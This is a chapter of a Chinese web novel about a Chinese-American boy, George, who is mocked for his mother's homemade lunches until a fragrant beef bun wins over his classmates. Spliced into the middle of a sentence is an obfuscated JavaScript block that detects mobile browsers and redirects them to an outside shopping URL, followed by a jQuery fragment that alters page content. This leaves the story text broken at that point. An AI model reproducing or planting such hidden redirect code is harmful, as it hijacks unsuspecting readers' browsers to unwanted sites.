乔治停顿了几秒，这次，他没有拒绝，而是伸出双手接住了她的好意。 “谢谢……” 他是不想吃的，可现在他别无选择。 要是不收下，那他上午就只能吃干巴巴的饼干了。 比起饿肚子……算了，只要他在吃得时候小心点，应该就不会被人发现吧？ —— 叮铃铃~！ 上午十点整，随着下课的铃声响起，教室的学生纷纷跑向后排去拿自己书包里的便当盒。 除了中午特定的午餐时间外，在每天上午上完两节课后，学生们都会有四十五分钟的长课间用来休息。 有些学生会选择去操场活动，有些学生会看一些课外书，不过对于低年级的学生来说，这四十五分钟的时间更多是用来加餐的。 早上急着出门，吃得都很简单，上完课后加个餐来补充体力刚刚好。 “吐司面包里夹的是果干吗？” 看到汤姆便当盒里的手工吐司，约翰好奇地问道。 “对，”喝一口牛奶，汤姆轻描淡写地说，“有蔓越莓干还有蓝莓干，我们家保姆昨天刚做的。” 汤姆是班里家庭条件最好的学生，每天大家都对他的便当充满了好奇。 住在曼哈顿的上东区，汤姆的生活条件远要比大部分学生要优渥，不仅穿得是昂贵的名牌，吃得食物也十分精致可口。 切了边的三明治、完美的正圆形煎蛋、酸甜可口的水果沙拉、夹着上等烟熏火腿的牛角包……每次他打开便当盒时，里面的食物都像画出来的一样精致。 孩子们不懂得什么是贫富差距，只知道汤姆的便当一直是最好的，而汤姆也自然而然聚集了更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624011|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的目光，成为班里最受欢迎的孩子。 “你们看！乔治又带垃圾来吃了！” 班里不知道谁喊了一声，一时间，所有人都看向了乔治藏在桌子里的便当盒。 乔治第一时间把便当盒盖上，可还是被人看到了里面装的食物。 是一团白花花的东西，像是撕掉了皮的面包，但远没有面包看起来可口。 “乔治，你妈妈为什么总爱做些奇奇怪怪的食物？” “看起来好难吃啊。” “你妈妈是不会做好吃的饭吗？” 乔治没说话，只是继续低着头。 班里只有他一个华裔，也只有他的便当盒里会出现中餐，尽管他平常和其他孩子是一样的，但只要拿出妈妈做的便当，就会成为班里的异类。 妈妈经常会给他准备中餐，为的是让他不要忘记故乡的味道。 可说实话，她做得并不好吃。 或许是她从来没在华国生活过吧，做的所谓的“中餐”也是跟着唐人街的华裔们学的，所以没有掌握其中的精髓。 乔治不想被同学笑话，也不喜欢中餐的味道，于是只要是母亲给他准备的便当，他都会偷偷地倒掉。 “乔治，我可以把我的吐司分给你一些。” 站在全班食物等级的最高点，汤姆没有嘲笑他的“垃圾”食物，而是大方地从自己的吐司上撕下了一小块，“你要吃吗？” “谢谢，我不需要。”乔治拒绝了他。 他当然会像其他人一样羡慕汤姆，羡慕他每天都有很精致、很好吃的便当，但是他不想接受汤姆的施舍。 一番嘲笑过后，大家继续吃着各自的便当。 确认大家都不再看自己后，乔治这才把自己的便当盒拿出来，从里面拿出了一只包子。 既然他们都笑话过自己了，也就没什么可再遮掩的了，填饱自己的肚子最重要。 便当盒的保温效果很好，放了两个多小时，里面的包子还是温热的。 刚用手撕开一个小口，里面的肉汤一下子就流了出来。 吸溜~ 乔治赶忙去吸流到手上的汤汁，那一股鲜香的滋味瞬间抚平了他皱缩的眉心。 嗯？！ 好香的牛肉味！ 这从未吃过的味道让他有些惊讶，看了一眼包子里的肉馅后，他忙不迭把撕下来的那一口塞进了嘴里。 蒸出来的包子皮是松软的口感，松软之中还有几分嚼劲。 馅料用的是牛肉，肥瘦比例调和得刚刚好，不会太腻也不会太柴，其中还掺了一些芹菜碎，每一口都是鲜嫩弹牙和纤维感十足的奇妙组合。 汤汁的鲜、肉馅的香、外皮的韧，三者交织在一起，让每一口都充满了幸福感。 好吃，真的好好吃！ 如果这才是包子的话，那他之前吃的是什么？ 撕开了口的包子像是一只破裂的气球，没有了包子皮的保护，那股浓浓的肉香味快速在教室里扩散。 哼哼？哼哼？ 好香啊~ 虽然丝丝缕缕的味道不算浓，却勾着每个人的食欲。 是谁带的便当？ 这牛肉的味道实在是太诱人了，引得大家纷纷像小狗那样快速呼吸着，试图寻找这股肉香味的来源。 直到他们看见乔治吃得满嘴流油，嘴里被那肉包子塞得鼓鼓囊囊时，方才的鄙夷和嫌弃一下子都变成了口水，开始不停地在嘴巴里打转。